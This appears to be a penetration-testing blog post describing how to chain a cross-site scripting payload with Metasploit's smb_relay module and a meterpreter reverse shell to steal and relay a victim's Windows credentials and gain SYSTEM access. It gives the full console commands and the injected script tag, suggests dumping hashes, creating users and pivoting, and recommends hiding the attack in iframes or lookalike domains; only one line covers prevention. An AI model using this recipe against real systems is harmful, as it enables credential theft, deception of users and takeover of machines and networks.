Setting up SMB_Relay in Metasploit:
Open up a metasploit session:
root@ficti0n:~# /pentest/exploits/framework3/msfconsole
=[ metasploit v3.3.4-dev [core:3.3 api:1.0]
+ -- --=[ 490 exploits - 225 auxiliary
+ -- --=[ 192 payloads - 23 encoders - 8 nops
=[ svn r8091 updated 6 days ago (2010.01.09)
msf > use exploits/windows/smb/smb_relay
msf exploit(smb_relay) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(smb_relay) > set LHOST 172.20.200.118 <-- Whatever this metasploit server is
LHOST => 172.20.200.118
msf exploit(smb_relay) > exploit

[*] Server started.
XSS your Client:
Once your listener is setup on your backtrack server running metasploit you can then run your cross-site-scripting attack against the Client. This attack can be accomplished with the following script string which tries to open a share on the attack server. Put the string below into any parameter that is vulnerable to cross site scripting, just change the IP address to the ipaddress of your server which is running the metasploit smb_relay listener.
<script language='Javascript' src="\\172.20.200.118\c$"></script>
When the XSS link is clicked you will see network hashes race across the output of the metasploit console. Basically the client that is being XSS'd is sending over their windows credentials to try to open a network share. Metasploit at this point is passing the hashes back to the client and opening a meterpreter session gaining shell access. This is how its working as I understand the process.

At this point you can click into the Metasploit window and issue the following commands to take control of the client machine.
msf exploit(smb_relay) > sessions -l

You are now logged into the Clients machine as system and can perform any actions that you wish under the context of a System account. Create users, dump hashes, and use the system as a jump point into other systems on the local network. This is all pretty simple stuff but I thought it was pretty cool to just issue it from an XSS attack since I dont see good XSS examples to often. usually just how to grab a cookie.
Combining this with CFS:
Other good ideas for this attack would be to embed this into a header of a site you control via a cross frame scripting attack. You can then encapsulate a whole valid page in an iframe and the user will never know unless they look at the url... however you can always just register a similar URL to trick a user while silently be passing their credentials...
Prevention:
Of course egress filtering of outgoing ports will prevent this attack.. most people do not egress filter however.
